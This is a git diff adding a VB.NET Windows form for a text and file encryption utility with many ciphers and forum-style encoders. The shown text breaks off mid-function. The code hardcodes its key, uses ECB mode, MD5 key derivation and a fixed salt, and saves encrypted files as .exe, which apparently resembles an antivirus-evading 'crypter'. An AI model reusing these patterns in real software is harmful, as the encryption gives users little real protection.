J/8wLCH/Ih4h/yYiIv8lIiL/JSEh/yUhIf8lISH/JiIh/zg1Iv85NiL/OTYi/zk2Iv85NiP/Ojcj/zc0 + Iv9CPyL/ubMn/8S+KP/Buyf/wrwo/8K8KP/CvCf+wrwo/8K8J/HCvSf9wrwo/8K8J//CvCj/wrwo/8G7 + J//Fvyj/t7En/y0pIf8fGyD/Ih4d/yEdHf8iHiD/Ih4g/yIeIP8jHyD/NDIh/zYzIf82MyH/NjMh/zUy + Hv81Mx7/MzEh/z88Iv+4syf/xL4o/8G7J//CvCj/wrwo/8K8J//CvCj/wrwn/cO9J/3CvCj/wrwn/8K8 + KP/CvCj/wbsn/8W/KP+4sif/OTUh/y0pIv80MC//My8v/zAsIv8vKyH/Lysh/zAtIf9APSL/Qj8i/0E+ + Iv9CPyP/RUIw/0ZDMP8/PSP/Skci/7mzJ//Evij/wbsn/8K8J//CvCj/wrwo/8K8KP/CvCf9w70n8cK8 + KP/CvCf+wrwn/8K8KP/CvCj/wrwn/8G8KP+3sST/u7Uz/+vq4//r6uP/u7U0/7awJP+4sij/t7In/7iz + J/+5syj/uLIk/7y3NP/s7OP/7Ozj/7y3NP+4syP/wrwo/8K8KP/CvCf/wrwn/8K8J//CvCj+wrwo/8K8 + J/HCvCfWwrwo/8K8KP7CvCf/wrwn/8K8KP/CvCj/wrwo/8S+JP/Jwzb//Pz0//z89P/Jwzb/xL4k/8W/ + Kf/Fvyj/xL8o/8W/Kf/DvST/yMM2//z89P/8/PT/yMM2/8O9JP/CvCn/wrwn/8K8KP/CvCj/wrwn/8K8 + J/7CvCj/wrwn1sK8J6fCvCf/wrwo/MK8KP/CvCf/wrwn/8K8KP/CvCj/wLoj/8W/NP/4+PD/+Pjw/8W/ + Nf/AuiP/wbso/8G7J//BvCf/wbwo/8C7I//FwDX/+Pjw//j48P/FwDT/wLsj/8K8Kf/CvCf/wrwo/8K8 + KP/CvCj/wrwn/MK8KP/CvCenwbsoY8K8KP/CvCf9wrwo/8K8KP/CvCf/wrwn/8K8KP/BuyT/xsA1//n5 + 8f/5+fH/xsA1/8G7JP/CvCj/wrwn/8K8J//CvCj/wbsk/8bANf/5+fH/+fnx/8bANf/BuyT/wrwo/8K8 + J//CvCf/wrwo/8K8KP/CvCf9wrwo/8G7J2O8tigcwrwn68K8KP/CvCf+wrwo/8K8KP/CvCf/wrwo/8G7 + JP/GwDX/+fnx//n58f/GwDX/wbsk/8K8KP/CvCj/wrwn/8K8KP/BuyT/xsA1//n58f/5+fH/xsA1/8G7 + JP/CvCj/wrwo/8K8J//CvCf/wrwo/sK8J//CvCfqu7UpHAAAAADBuyibwrwo/8K8J/vCvCf/wrwo/8K8 + KP/CvCj/wbsl/8W/Mv/4+Oz/+vr2/8fBOP/BuyT/wrwo/8K8KP/CvCj/wrwp/8G7JP/HwTn/+vr2//j3 + 7P/FvzL/wbsl/8K8KP/CvCj/wrwo/8K8J//CvCj7wrwn/8G7KJsAAAAAAAAAAL23KC/CvCf7wrwo/8K8 + J//CvCj/wrwo/8K8KP/CvCj/wboj/+/uzP//////089k/763GP/Evi7/wrwp/8K8Kf/Evi7/vrcY/9PP + ZP//////8O7M/8G6Iv/CvCj/wrwo/8K8KP/CvCj/wrwn/sK8KP/CvCf6vbcpLwAAAACFhDUGAAAAAMG7 + KI7CvCf/wrwo+sK8J//CvCj/wrwn/8O9K/++uBn/29iE///////y8dX/xL8v/764GP/BuyT/wbsk/764 + GP/EvzD/8vHV///////b2IP/vrgZ/8O9K//CvCf/wrwn/8K8KP/CvCj6wrwn/8G7J44AAAAAg4I1B1xe + PgQRGE4Dr6stC8G8J8/CvCf/wrwo+8K8J//CvCj/wrwo/8K8Jv/DvSv/8fDS///////x8NT/089l/8fB + Of/HwTn/089l//Lw1f//////8fDS/8O9Kv/CvCb/wrwo/8K8KP/CvCf/wrwo+8K8J//BvCfPr6stDAwT + TwNbXT4EPUFFA2pqOwYAAAAAvbcpKsK8J+vCvCj/wrwo+8K8J//CvCf/w70p/8C6If/Iwjv/8vHW//// + ////////+/r2//v79v////////////Lx1f/Hwjz/wLoh/8O9Kf/CvCf/wrwn/8K8KPvCvCf/wrwn6723 + KSoAAAAAamo7Bj1CRQNCRkQDOT5FBHd2OAcAAAAAvrgoNsK8J+zCvCf/wrwo+8K8KP7CvCf/w70q/8C6 + If/DvSr/3NiG//Duzv/4+O7/+Pju//Dvz//c2IX/w70q/8C6If/DvSr/wrwn/8K8KP7CvCj7wrwn/8K8 + J+y+uCk2AAAAAHd3OAc5PkUEQkZEA0BERANBRUQEODxGBHp5OAcAAAAAu7YpKMG8KNPCvCf/wrwo/MK8 + KPvCvCf+w70q/8K8Jv++uBj/wbsi/8XAM//FwDP/wbsi/764Gf/CvCb/w70q/8K8J/7CvCj7wrwo/MK8 + J//BvCjTu7YpKAAAAAB5eTgHODxGBEFFRARAREQDQEREA0BERARBRUQEOD1GBHV1OAcAAAAArKgsCsC6 + KI/CvCf8wrwn/8K8J//CvCf9wrwo/MO9K/7CvCj/wbsk/8G7JP/CvCj/w70r/sK8KPzCvCf9wrwn/8K8 + J//CvCf7wLooj6+qKwsAAAAAdnY4Bzg8RgRBRUQEQEREBEBERANAREQDQEREBEBERARBRUQENztGBGts + OgaBgDcFAAAAALm0KSzBuyiewrwo78K8KP/CvCf+wrwo/8K8KP/CvCj/wrwo/8K8KP/CvCj/wrwn/sK8 + J//CvCjvwbsonrizKSwAAAAAhIM1BWtrOwY3O0YEQUVEBEBERARAREQEQEREA0BERAJAREQDQEREA0BE + RANCRkQDNjtGA2doOwSJhzUGgoA8AQAAAAC3sioawLsoY8K8J6nCvCfYwr0n8sO9J/7CvSf+w70n8sK8 + J9jCvCepwLsoZLaxKhoAAAAAjYs2AYeGNQZoaTsENjtGA0JGRANAREQDQEREA0BERANAREQC//AP//+A + Af/+AAB//AAAP/gAAB/wAAAP4AAAB8AAAAPAAAADgAAAAYAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAACAAAABgAAAAYAAAAHAAAADwAAAA+AAAAfwAAAP+AAAH/wAAD/+AAB//4AB///w + D/8oAAAAEAAAACAAAAABACAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAMzhHA19gPAWPjTUFAAAAAKii + DTu6tBumvbcf5L23H/y9tx/8vbcf5Lq0G6apow06AAAAAJGPNQVfYTwFNDlHA19gPQVITFIDpJ8cCcO9 + LJjUzkP+1c9F/9XQRf/V0Eb/1M9F/9TORf/TzkX/0s1D/sK9LJiknx0JR0tTA15gPQUYH00Co6A4CcK9 + Jr+/uS3/j417/IqIg/yMioD+jYqA/5WUgf+WlIH+lJOD/JmXe/y/ui3/wrwmv6ShOAoYH00CAAAAAMC6 + J5bFvyj/trAn+SEdFf8TDxT/FhIU/xcTFP8qJhX/LCkV/yglFf81Mhb/t7In+cW/KP/AuiiWAAAAAL+6 + KD3Buyf7xb8o/reyJ/8yLiP/JSEj/ygkI/8pJSP/Ojck/zw5JP85NiT/REEk/7mzJ//Evij+wbsn+7+6 + KD3BvCejwbso/8W/KPy3sSf/Lysh/yIeIP8lISH/JiIh/zc0If85NiL/NTMh/0E+Iv+5syf/xL4o/MG7 + KP/Buyeiwrwn4cG7KP/Fvyj+t7In/zIuIv8lISP/JyMh/ygkIf85NiL/Ozgi/zg2JP9DQCP/ubMn/8S+ + KP7Buyj/wrwn4cK8KPvBuyf/xb8o/7exJ/8kIB//Ew4S/xkVH/8bFyD/LSoh/y8sIP8oJRT/ODUg/7iy + J//Fvyj/wbsn/8K8KPvCvCf7wrwn/8S+KP+8tiX/e3Yt/4uJgP92cS3/c24i/3x3I/+AfC7/lZOA/4SA + Lv+9tyX/w70o/8K8KP/CvCj7wrwn4cK8KP/CvCj+wrwj/9HMOv/5+OL/0s07/83HJP/LxST/0Ms7//j3 + 4v/Qyjr/wrsj/8K8KP7CvCj/wrwn4cG8J6PCvCj/wrwp/MC6I//EwDr/8O/a/8S/Of+/uSb/v7km/8W/ + Of/x8Nr/xcA6/8G6I//CvCn8wrwo/8G8J6O/uig9wrwn/MK8Kf7BuyX/xb8x//b14v/Iwz//vrgZ/764 + Gf/Iwz//9vXi/8W/Mf/BuyX/wrwp/sK8J/u/uSg9AAAAAMG7KJbCvCf/w70r+b64Gf/l46j/8O/P/8jD + P//Iwz//8O/Q/+XjqP++uBn/w70r+cK8J//BuyiWAAAAABYcTwKppi0Kwbsov8K8KP/CvCb8wrwn/Obk + q/729ub/9vbm/+bkq/7CvCf8wrwm/MK8KP/Buyi/qqYuCRkgTQJfYD0FQERFA62pKwnAuyiYwrwo/8K8 + Jv++uBn/xb8y/8W/Mv++uBn/wrwm/8K8KP7AuyiYrakrCT9DRwNeYD0FMzhHA2BiPQWMijQFAAAAALy3 + KDvCvCmmw70r5cG7JPzBuyT8w70r5cK8Kaa8tyg6AAAAAIyKNAVhYj0FMzhHA/gfAADgBwAAwAMAAIAB + AACAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAEAAIABAADAAwAA4AcAAPgfAAA= + + + \ No newline at end of file diff --git a/scode (KeepSave/KeepSave/Form1.vb b/scode (KeepSave/KeepSave/Form1.vb new file mode 100644 index 0000000..2bcafa2 --- /dev/null +++ b/scode (KeepSave/KeepSave/Form1.vb @@ -0,0 +1,907 @@ +Imports System.Security.Cryptography +Imports System.Text +Imports System.Text.ASCIIEncoding +Imports System.Text.RegularExpressions + +Public Class Form1 + Dim Key As String = "西こ比维吾き弗伊さふつまの德德ひむ艾ちゆに豆めた比つ艾か贼杰" + Dim keynum As Integer = 894813397 + Public filepath As String + Public filepath2 As String + Private Sub LogInButton1_Click(sender As Object, e As EventArgs) Handles LogInButton1.Click + Try + If LogInUserTextBox1.Text = "" Then + MessageBox.Show("Please enter text to encrypt!") + LogInUserTextBox1.Text = "" + LogInUserTextBox2.Text = "" + End If + If LogInComboBox1.Text = "AES" Then + LogInUserTextBox2.Text = AES_Encrypt(LogInUserTextBox1.Text, Key) + End If + If LogInComboBox1.Text = "Atom 128" Then + + End If + If LogInComboBox1.Text = "RC2" Then + LogInUserTextBox2.Text = RC2_Encrypt(LogInUserTextBox1.Text, Key) + End If + If LogInComboBox1.Text = "RSA" Then + LogInUserTextBox2.Text = RSA_Encrypt(LogInUserTextBox1.Text) + End If + If LogInComboBox1.Text = "XOR" Then + LogInUserTextBox2.Text = XOR_Encrypt(LogInUserTextBox1.Text, Key) + End If + If LogInComboBox1.Text = "DES" Then + LogInUserTextBox2.Text = DES_Encrypt(LogInUserTextBox1.Text, Key) + End If + If LogInComboBox1.Text = "TrippleDES" Then + LogInUserTextBox2.Text = TripleDES_Encrypt(LogInUserTextBox1.Text, Key) + End If + If LogInComboBox1.Text = "ROT13" Then + LogInUserTextBox2.Text = ROT13(LogInUserTextBox1.Text) + End If + If LogInComboBox1.Text = "Ceasar Shift" Then + LogInUserTextBox2.Text = EncryptCS(LogInUserTextBox1.Text, keynum) + End If + If LogInComboBox1.Text = "Rijndael" Then + LogInUserTextBox2.Text = Rijndaelcrypt(LogInUserTextBox1.Text, Key) + End If + If LogInComboBox1.Text = "ATOM 128" Then + LogInUserTextBox2.Text = Atom128_Encode(LogInUserTextBox1.Text) + End If + If LogInComboBox1.Text = "HAZZ 15" Then + LogInUserTextBox2.Text = HAZZ15_Encode(LogInUserTextBox1.Text) + End If + If LogInComboBox1.Text = "GILA 7" Then + LogInUserTextBox2.Text = GILA7_Encode(LogInUserTextBox1.Text) + End If + If LogInComboBox1.Text = "ESAB 46" Then + LogInUserTextBox2.Text = ESAB46_Encode(LogInUserTextBox1.Text) + End If + If LogInComboBox1.Text = "Megan 35" Then + LogInUserTextBox2.Text = MEGAN35_Encode(LogInUserTextBox1.Text) + End If + If LogInComboBox1.Text = "Zong 22" Then + LogInUserTextBox2.Text = ZONG22_Encode(LogInUserTextBox1.Text) + End If + If LogInComboBox1.Text = "TIGO3FX" Then + LogInUserTextBox2.Text = TIGO3FX_Encode(LogInUserTextBox1.Text) + End If + If LogInComboBox1.Text = "EnvY'S Encryption" Then + LogInUserTextBox2.Text = EnvY_Encrypt(LogInUserTextBox1.Text, Key) + End If + Catch ex As Exception + MsgBox("An error has occoured whilst encrypting your text.") + End Try + + End Sub + + Private Sub LogInButton2_Click(sender As Object, e As EventArgs) Handles LogInButton2.Click + Try + If LogInUserTextBox1.Text = "" Then + MessageBox.Show("Please enter text to decrypt!") + LogInUserTextBox1.Text = "" + LogInUserTextBox2.Text = "" + End If + If LogInComboBox1.Text = "AES" Then + LogInUserTextBox2.Text = AES_Decrypt(LogInUserTextBox1.Text, Key) + End If + If LogInComboBox1.Text = "RC2" Then + LogInUserTextBox2.Text = RC2_Decrypt(LogInUserTextBox1.Text, Key) + End If + If LogInComboBox1.Text = "RSA" Then + LogInUserTextBox2.Text = RSA_Decrypt(LogInUserTextBox1.Text) + End If + If LogInComboBox1.Text = "XOR" Then + LogInUserTextBox2.Text = XOR_Decrypt(LogInUserTextBox1.Text, Key) + End If + If LogInComboBox1.Text = "DES" Then + LogInUserTextBox2.Text = DES_Decrypt(LogInUserTextBox1.Text, Key) + End If + If LogInComboBox1.Text = "TrippleDES" Then + LogInUserTextBox2.Text = TripleDES_Decrypt(LogInUserTextBox1.Text, Key) + End If + If LogInComboBox1.Text = "ROT13" Then + LogInUserTextBox2.Text = ROT13(LogInUserTextBox1.Text) + End If + If LogInComboBox1.Text = "Ceasar Shift" Then + LogInUserTextBox2.Text = DecryptCS(LogInUserTextBox1.Text, keynum) + End If + If LogInComboBox1.Text = "Rijndael" Then + LogInUserTextBox2.Text = RijndaelDecrypt(LogInUserTextBox1.Text, Key) + End If + If LogInComboBox1.Text = "ATOM 128" Then + LogInUserTextBox2.Text = Atom128_Decode(LogInUserTextBox1.Text) + End If + If LogInComboBox1.Text = "HAZZ 15" Then + LogInUserTextBox2.Text = HAZZ15_Decode(LogInUserTextBox1.Text) + End If + If LogInComboBox1.Text = "GILA 7" Then + LogInUserTextBox2.Text = GILA7_Decode(LogInUserTextBox1.Text) + End If + If LogInComboBox1.Text = "ESAB 46" Then + LogInUserTextBox2.Text = ESAB46_Decode(LogInUserTextBox1.Text) + End If + If LogInComboBox1.Text = "Megan 35" Then + LogInUserTextBox2.Text = MEGAN35_Decode(LogInUserTextBox1.Text) + End If + If LogInComboBox1.Text = "Zong 22" Then + LogInUserTextBox2.Text = ZONG22_Decode(LogInUserTextBox1.Text) + End If + If LogInComboBox1.Text = "TIGO3FX" Then + LogInUserTextBox2.Text = TIGO3FX_Decode(LogInUserTextBox1.Text) + End If + If LogInComboBox1.Text = "EnvY'S Encryption" Then + LogInUserTextBox2.Text = EnvY_Decrypt(LogInUserTextBox1.Text, Key) + End If + Catch ex As Exception + MsgBox("An error has occoured whilst decrypting your text.") + End Try + + End Sub + Dim ofd As New OpenFileDialog + Dim sfd As New SaveFileDialog + Dim a As String = ofd.FileName + Private Sub LogInButton3_Click(sender As Object, e As EventArgs) Handles LogInButton3.Click + If ofd.ShowDialog = DialogResult.OK Then + filepath = ofd.FileName + LogInUserTextBox3.Text = ofd.FileName + a.Split(".") + a = a + End If + End Sub + + Private Sub LogInLogButton1_Click(sender As Object, e As EventArgs) Handles LogInLogButton1.Click + If LogInUserTextBox3.Text <> "" Then + LogInLabel7.Text = "Encrypting..." + Timer1.Start() + End If + End Sub + + Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick + Timer1.Stop() + + Dim READBYTES As Byte() = System.IO.File.ReadAllBytes(filepath) + Dim AESBYTES As Byte() = AESFile.AESFile_Encrypt(READBYTES, Key) + sfd.Filter = "exe|*.exe" + sfd.DefaultExt = a + "-" + ".exe" + If sfd.ShowDialog = DialogResult.OK Then + + IO.File.WriteAllBytes(sfd.FileName, AESBYTES) + End If + LogInLabel7.Text = "Encrypted!" + End Sub + + Dim ofd2 As New OpenFileDialog + Dim sfd2 As New SaveFileDialog + Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick + Timer2.Stop() + Dim READBYTES As Byte() = System.IO.File.ReadAllBytes(filepath2) + Dim AESBYTES As Byte() = AESFile.AESFile_Decrypt(READBYTES, Key) + If sfd2.ShowDialog = DialogResult.OK Then + IO.File.WriteAllBytes(sfd2.FileName, AESBYTES) + End If + LogInLabel8.Text = "Decrypted!" + End Sub + + Private Sub LogInLogButton2_Click(sender As Object, e As EventArgs) Handles LogInLogButton2.Click + If LogInUserTextBox4.Text <> "" Then + LogInLabel8.Text = "Decrypting..." + Timer2.Start() + End If + End Sub + + Private Sub LogInButton4_Click(sender As Object, e As EventArgs) Handles LogInButton4.Click + sfd2.Filter = "exe|*.exe" 'fix + sfd2.DefaultExt = ".exe" 'fix + If ofd2.ShowDialog = DialogResult.OK Then + LogInUserTextBox4.Text = System.IO.Path.GetFileName(ofd2.FileName) + filepath2 = ofd2.FileName + End If + End Sub + +#Region "Methods" +#Region "AES" + Public Function AES_Encrypt(ByVal input As String, ByVal pass As String) As String + Dim AES As New System.Security.Cryptography.RijndaelManaged + Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider + Dim encrypted As String = "" + Try + Dim hash(31) As Byte + Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass)) + Array.Copy(temp, 0, hash, 0, 16) + Array.Copy(temp, 0, hash, 15, 16) + AES.Key = hash + AES.Mode = Security.Cryptography.CipherMode.ECB + Dim DESEncrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateEncryptor + Dim Buffer As Byte() = System.Text.ASCIIEncoding.ASCII.GetBytes(input) + encrypted = System.Convert.ToBase64String(DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length)) + Return encrypted + Catch ex As Exception + End Try + End Function + Public Function AES_Decrypt(ByVal input As String, ByVal pass As String) As String + Dim AES As New System.Security.Cryptography.RijndaelManaged + Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider + Dim decrypted As String = "" + Try + Dim hash(31) As Byte + Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass)) + Array.Copy(temp, 0, hash, 0, 16) + Array.Copy(temp, 0, hash, 15, 16) + AES.Key = hash + AES.Mode = Security.Cryptography.CipherMode.ECB + Dim DESDecrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateDecryptor + Dim Buffer As Byte() = System.Convert.FromBase64String(input) + decrypted = System.Text.ASCIIEncoding.ASCII.GetString(DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length)) + Return decrypted + Catch ex As Exception + End Try + End Function +#End Region +#Region "Rc2" + Public Function RC2_Encrypt(ByVal input As String, ByVal pass As String) As String + Dim RC2 As New System.Security.Cryptography.RC2CryptoServiceProvider + Dim Hash_RC2 As New System.Security.Cryptography.MD5CryptoServiceProvider + Dim encrypted As String = "" + Try + Dim hash() As Byte = Hash_RC2.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass)) + + RC2.Key = hash + RC2.Mode = Security.Cryptography.CipherMode.ECB + Dim DESEncrypter As System.Security.Cryptography.ICryptoTransform = RC2.CreateEncryptor + Dim Buffer As Byte() = System.Text.ASCIIEncoding.ASCII.GetBytes(input) + encrypted = System.Convert.ToBase64String(DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length)) + Return encrypted + Catch ex As Exception + End Try + End Function + Public Function RC2_Decrypt(ByVal input As String, ByVal pass As String) As String + Dim RC2 As New System.Security.Cryptography.RC2CryptoServiceProvider + Dim Hash_RC2 As New System.Security.Cryptography.MD5CryptoServiceProvider + Dim decrypted As String = "" + Try + Dim hash() As Byte = Hash_RC2.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass)) + RC2.Key = hash + RC2.Mode = Security.Cryptography.CipherMode.ECB + Dim DESDecrypter As System.Security.Cryptography.ICryptoTransform = RC2.CreateDecryptor + Dim Buffer As Byte() = System.Convert.FromBase64String(input) + decrypted = System.Text.ASCIIEncoding.ASCII.GetString(DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length)) + Return decrypted + Catch ex As Exception + End Try + End Function +#End Region +#Region "RSA" + Public Function RSA_Encrypt(ByVal Input As String) As String + Dim cp As New Security.Cryptography.CspParameters + cp.Flags = Security.Cryptography.CspProviderFlags.UseMachineKeyStore + cp.KeyContainerName = Key + Dim RSA As New Security.Cryptography.RSACryptoServiceProvider(cp) + + Dim buffer As Byte() = System.Text.Encoding.UTF8.GetBytes(Input) + Dim encrypted As Byte() = RSA.Encrypt(buffer, True) + Return System.Convert.ToBase64String(encrypted) + End Function + Public Function RSA_Decrypt(ByVal Input As String) As String + Dim cp As New Security.Cryptography.CspParameters + cp.Flags = Security.Cryptography.CspProviderFlags.UseMachineKeyStore + cp.KeyContainerName = Key + Dim RSA As New Security.Cryptography.RSACryptoServiceProvider(cp) + Dim buffer As Byte() = System.Convert.FromBase64String(Input) + Dim decrypted As Byte() = RSA.Decrypt(buffer, True) + Return System.Text.Encoding.UTF8.GetString(decrypted) + End Function +#End Region +#Region "Xor" +#Region "Normal" + Public Function XOR_Encrypt(ByVal Input As String, ByVal pass As String) As String + Dim out As New System.Text.StringBuilder + Dim u As Integer + For i As Integer = 0 To Input.Length - 1 + Dim tmp As String = Hex(Asc(Input(i)) Xor Asc(pass(u))) + If tmp.Length = 1 Then tmp = "0" & tmp + out.Append(tmp) + If u = pass.Length - 1 Then u = 0 Else u = u + 1 + Next + Return out.ToString + End Function + Public Function XOR_Decrypt(ByVal Input As String, ByVal pass As String) As String + Dim out As New System.Text.StringBuilder + Dim u As Integer + For i As Integer = 0 To Input.Length - 1 Step +2 + Dim tmp As String = Chr(("&H" & Input.Substring(i, 2)) Xor Asc(pass(u))) + out.Append(tmp) + If u = pass.Length - 1 Then u = 0 Else u = u + 1 + Next + Return out.ToString + End Function +#End Region +#End Region +#Region "DES" + Public Function DES_Encrypt(ByVal input As String, ByVal pass As String) As String + Dim DES As New System.Security.Cryptography.DESCryptoServiceProvider + Dim Hash_DES As New System.Security.Cryptography.MD5CryptoServiceProvider + Dim encrypted As String = "" + Try + Dim hash(7) As Byte + Dim temp As Byte() = Hash_DES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass)) + Array.Copy(temp, 0, hash, 0, 8) + DES.Key = hash + DES.Mode = Security.Cryptography.CipherMode.ECB + Dim DESEncrypter As System.Security.Cryptography.ICryptoTransform = DES.CreateEncryptor + Dim Buffer As Byte() = System.Text.ASCIIEncoding.ASCII.GetBytes(input) + encrypted = System.Convert.ToBase64String(DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length)) + Return encrypted + Catch ex As Exception + End Try + End Function + Public Function DES_Decrypt(ByVal input As String, ByVal pass As String) As String + Dim DES As New System.Security.Cryptography.DESCryptoServiceProvider + Dim Hash_DES As New System.Security.Cryptography.MD5CryptoServiceProvider + Dim decrypted As String = "" + Try + Dim hash(7) As Byte + Dim temp As Byte() = Hash_DES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass)) + Array.Copy(temp, 0, hash, 0, 8) + DES.Key = hash + DES.Mode = Security.Cryptography.CipherMode.ECB + Dim DESDecrypter As System.Security.Cryptography.ICryptoTransform = DES.CreateDecryptor + Dim Buffer As Byte() = System.Convert.FromBase64String(input) + decrypted = System.Text.ASCIIEncoding.ASCII.GetString(DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length)) + Return decrypted + Catch ex As Exception + End Try + End Function +#End Region +#Region "Triple DES" + Public Function TripleDES_Encrypt(ByVal input As String, ByVal pass As String) As String + Dim TripleDES As New System.Security.Cryptography.TripleDESCryptoServiceProvider + Dim Hash_TripleDES As New System.Security.Cryptography.MD5CryptoServiceProvider + Dim encrypted As String = "" + Try + Dim hash(23) As Byte + Dim temp As Byte() = Hash_TripleDES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass)) + Array.Copy(temp, 0, hash, 0, 16) + Array.Copy(temp, 0, hash, 15, 8) + TripleDES.Key = hash + TripleDES.Mode = Security.Cryptography.CipherMode.ECB + Dim DESEncrypter As System.Security.Cryptography.ICryptoTransform = TripleDES.CreateEncryptor + Dim Buffer As Byte() = System.Text.ASCIIEncoding.ASCII.GetBytes(input) + encrypted = System.Convert.ToBase64String(DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length)) + Return encrypted + Catch ex As Exception + End Try + End Function + Public Function TripleDES_Decrypt(ByVal input As String, ByVal pass As String) As String + Dim TripleDES As New System.Security.Cryptography.TripleDESCryptoServiceProvider + Dim Hash_TripleDES As New System.Security.Cryptography.MD5CryptoServiceProvider + Dim decrypted As String = "" + Try + Dim hash(23) As Byte + Dim temp As Byte() = Hash_TripleDES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass)) + Array.Copy(temp, 0, hash, 0, 16) + Array.Copy(temp, 0, hash, 15, 8) + TripleDES.Key = hash + TripleDES.Mode = Security.Cryptography.CipherMode.ECB + Dim DESDecrypter As System.Security.Cryptography.ICryptoTransform = TripleDES.CreateDecryptor + Dim Buffer As Byte() = System.Convert.FromBase64String(input) + decrypted = System.Text.ASCIIEncoding.ASCII.GetString(DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length)) + Return decrypted + Catch ex As Exception + End Try + End Function + +#End Region +#Region "ROT13" + Public Function ROT13(ByVal input As String) As String + Dim out As New System.Text.StringBuilder + For i As Integer = 0 To input.Length - 1 + out.Append(Chr(Asc(input(i)) Xor 13)) + Next + Return out.ToString + End Function +#End Region +#Region "Ceaser shift" + Public Function EncryptCS(ByVal PlainText As String, ByVal Key As Integer) As String + Dim PlainChar() As Char = PlainText.ToCharArray() + Dim Ascii(PlainChar.Length) As Integer + For Count As Integer = 0 To PlainChar.Length - 1 + Ascii(Count) = Asc(PlainChar(Count)) + If Ascii(Count) >= 65 And Ascii(Count) <= 90 Then + Ascii(Count) = ((Ascii(Count) - 65 + Key) Mod 26) + 65 + ElseIf Ascii(Count) >= 97 And Ascii(Count) <= 122 Then + Ascii(Count) = ((Ascii(Count) - 97 + Key) Mod 26) + 97 + End If + PlainChar(Count) = Chr(Ascii(Count)) + Next + Return PlainChar + End Function + Public Function DecryptCS(ByVal CipherText As String, ByVal Key As Integer) As String + Dim CipherChar() As Char = CipherText.ToCharArray() + Dim Ascii(CipherChar.Length) As Integer + + For Count As Integer = 0 To CipherChar.Length - 1 + Ascii(Count) = Asc(CipherChar(Count)) + If Ascii(Count) >= 65 And Ascii(Count) <= 90 Then + Ascii(Count) = ((Ascii(Count) - 65 - (Key Mod 26) + 26)) Mod 26 + 65 + ElseIf Ascii(Count) >= 97 And Ascii(Count) <= 122 Then + Ascii(Count) = (((Ascii(Count) - 97 - (Key Mod 26) + 26)) Mod 26) + 97 + End If + CipherChar(Count) = Chr(Ascii(Count)) + Next + Return CipherChar + End Function +#End Region +#Region "Rijndael" + Public Shared Function RijndaelDecrypt(ByVal UDecryptU As String, ByVal UKeyU As String) + Dim XoAesProviderX As New RijndaelManaged + Dim XbtCipherX() As Byte + Dim XbtSaltX() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8} + Dim XoKeyGeneratorX As New Rfc2898DeriveBytes(UKeyU, XbtSaltX) + XoAesProviderX.Key = XoKeyGeneratorX.GetBytes(XoAesProviderX.Key.Length) + XoAesProviderX.IV = XoKeyGeneratorX.GetBytes(XoAesProviderX.IV.Length) + Dim XmsX As New IO.MemoryStream + Dim XcsX As New CryptoStream(XmsX, XoAesProviderX.CreateDecryptor(), + CryptoStreamMode.Write) + Try + XbtCipherX = System.Convert.FromBase64String(UDecryptU) + XcsX.Write(XbtCipherX, 0, XbtCipherX.Length) + XcsX.Close() + UDecryptU = System.Text.Encoding.UTF8.GetString(XmsX.ToArray) + Catch + End Try + Return UDecryptU + End Function + Public Shared Function Rijndaelcrypt(ByVal File As String, ByVal Key As String) + Dim oAesProvider As New RijndaelManaged + Dim btClear() As Byte + Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8} + Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt) + oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length) + oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length) + Dim ms As New IO.MemoryStream + Dim cs As New CryptoStream(ms, + oAesProvider.CreateEncryptor(), + CryptoStreamMode.Write) + btClear = System.Text.Encoding.UTF8.GetBytes(File) + cs.Write(btClear, 0, btClear.Length) + cs.Close() + File = System.Convert.ToBase64String(ms.ToArray) + Return File + End Function +#End Region +#Region "Atom 128" + Public Function Atom128_Encode(ByVal input As String) As String + input = Uri.EscapeDataString(input) + Dim out As New System.Text.StringBuilder + Dim i As Integer + Dim keyatom As String = "HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5" + Do + Dim enc(3) As Integer + Dim chrs As Integer() = {0, 0, 0} + For b As Integer = 0 To 2 + If i < input.Length Then chrs(b) = Asc(input(i)) + i += 1 + Next + enc(0) = chrs(0) >> 2 + enc(1) = ((chrs(0) And 3) << 4) Or (chrs(1) >> 4) + enc(2) = ((chrs(1) And 15) << 2) Or (chrs(2) >> 6) + enc(3) = chrs(2) And 63 + If chrs(1) = 0 Then + enc(2) = 64 + enc(3) = 64 + End If + If chrs(2) = 0 Then + enc(3) = 64 + End If + For Each x As Integer In enc + out.Append(keyatom(x)) + Next + Loop While i < input.Length + Return out.ToString + End Function + Public Function Atom128_Decode(ByVal input As String) As String + Dim out As New System.Text.StringBuilder + Dim i As Integer + 